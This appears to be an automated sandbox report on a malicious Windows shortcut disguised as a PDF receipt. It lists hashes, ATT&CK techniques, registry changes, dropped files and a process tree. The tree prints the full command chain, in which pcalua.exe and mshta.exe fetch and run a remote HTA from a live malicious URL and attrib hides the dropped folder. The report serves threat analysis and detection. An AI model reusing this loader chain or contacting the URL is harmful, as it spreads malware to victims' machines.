77def2cb3232a7b9129c70f80f5860789646a32bb42762140c7736f44bd4fd2a

General

Target
JustificantePDF2107-IAKZXX.lnk
Size 1KB
Sample260803-q3l3jsae72
SHA256 77def2cb3232a7b9129c70f80f5860789646a32bb42762140c7736f44bd4fd2a
MD5 cdcc9aba4321ffc2b1804a0ab4c53920
SHA1 9d287da2ae946b858b90d449185b9b901461ab1e
SHA512 619e774f788e2539a02b589cdb4ce5dfd6150e0a925a9046365a385d494238e1d4b9a80e1e20199c64b4dd541717f1deb8b2424927267198698ceb79d8709b72
TLSH
T17C3144103EF90628F3B7EEB25077AB1489FBB44A8E11CB1E418086481473A04E57EFB7
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2696	mshta.exe
6	2696	mshta.exe
9	2696	mshta.exe
12	2696	mshta.exe
13	2696	mshta.exe
15	2696	mshta.exe
16	2696	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
972	cmd.exe
1300	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1300	cmd.exe
6784	PING.EXE

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 20 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
6784	PING.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5588	rundll32.exe
4344	rundll32.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 972 wrote to memory of 6764	972	cmd.exe	91
PID 6764 wrote to memory of 2696	6764	pcalua.exe	92
PID 2696 wrote to memory of 4344	2696	mshta.exe	95
PID 2696 wrote to memory of 5588	2696	mshta.exe	96
PID 4344 wrote to memory of 4592	4344	rundll32.exe	97
PID 5588 wrote to memory of 1808	5588	rundll32.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4704	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\JustificantePDF2107-IAKZXX.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:972
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6764
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4344
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:4592
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:5588
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:1808
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:1544
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:2612
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:1112
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3300
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\tkwppqin\"
      4⤵
      Views/modifies file attributes
      PID:4704
  - - C:\tkwppqin\tkwppqin.exe
      "C:\tkwppqin\tkwppqin.exe" C:\tkwppqin\tkwppqin
      4⤵
      PID:6760
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:936
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3312
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:1300
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a1.zip

Path C:\tkwppqin\a1.zip
Size 494KB
SHA256 34bbfd05d1fd770d0e216a2fa5701e815756608ffdb9cdf45729eeb6252ae4d2
MD5 b04a2cab5dfad07494337be04492311e
SHA1 cc58bf58058c5a3ef91902983016d888f09343c4
SHA512 082e6c73adea1b504dc01bf9d51de743f3b2d65df2b39c9d3e8ef1165ffecf7cdd3fdc2e39462c3ae4386bb532cba81a38520ead79e8ce175586c94b0e7b1268
SSDEEP 12288:jxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrIb:jq7hblmK/dgGeVlk22aCarIb
TLSH
T13EB4231C22C5BD086D3D97FB58539F7405E6269E14B8024CE18B73C4ABCEF815F829E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a2.zip

Path C:\tkwppqin\a2.zip
Size 1.3MB
SHA256 f5f7deb6715560e31f3f22498ba289c483cdb1b8d2b53e69be1e600dd3bba81c
MD5 9b0a48aa5252b579765881ae68cb5931
SHA1 b194e241f142ef2a3eb3deb5ddbdda65b55e9b2a
SHA512 3235ccf3875fd05677e69b71bb39e57307ff81f7c4df5049fd86162c56b4ba18bb98a73ee997923353d2b9d021235dd59017d855cfa2041f87a80d4177a24ddf
SSDEEP 24576:1AQYltjM5BqgdnjIyK2UxYGAXTZWyutR+kXM0JyU9mSff3Pc7pOU5JLMio:1AQUgNIkUx6TZW58kX9UU9mcfUF5J4io
TLSH
T1B45533F2195136CAA1ACBC1F05F057D581867C9ABBFE2B4E3641308E0D15F91BEF9268
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3.zip

Path C:\tkwppqin\a3.zip
Size 2KB
SHA256 da8c20cdc1f6dd421ab69ededbc3d503e4950d1cff2289cf87f14874c35802e4
MD5 940dfa514d214cd44ba476ea5764a535
SHA1 d8ddcb86d3834954a7c01e7f4ea8464591d4e463
SHA512 9a68236b04266cb8a2b6268840b85e7c3e7add8e99a09c6cb7bf29adde94cb44551ca1f0a078816f3143074cb9995945bbcc1f3df5ab864e774a3b87ad2085cc
TLSH
T18F413CE98E6C7D91D28E79749D14647095372DC449C061791EFEEC441120298CE6E42C
MD5 SHA1 SHA512 TLSH

Submit Download

tkwppqin

Path C:\tkwppqin\tkwppqin
Size 1.3MB
SHA256 c7f22abb4ddd7fdb324bf80faa5449654a899c22ffc5ab8d5988be10e4a51ea4
MD5 9c4bd2c3a1bc7bd93bad88e795576cc7
SHA1 70ad55f52d1ca30b0b218ff3aa21c2aed48e75c7
SHA512 6279ae4c2b30959d068cf31bfd9bae01c729a6891fd076bc21725f86a2446d7bc6ed2c8c188db55d18ea662d686b6f26191405429ecfadba7a38fa49e5e76709
SSDEEP 24576:xAsY9j7ud5qghDjIKoUU94G2X5ZOaut1+edMyJyU9kGfX3Pc7TiUnBL9iu:xAssgxIuU985ZOBoed9UU9k4XU/nBBiu
TLSH
T1C15533F2195136CAA1E8BC1F05F057D581867C9ABFFE2B4E3641308E0D15F91BEB9268
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tkwppqin.exe

Path C:\tkwppqin\tkwppqin.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/6760-104-0x0000000006740000-0x0000000006908000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads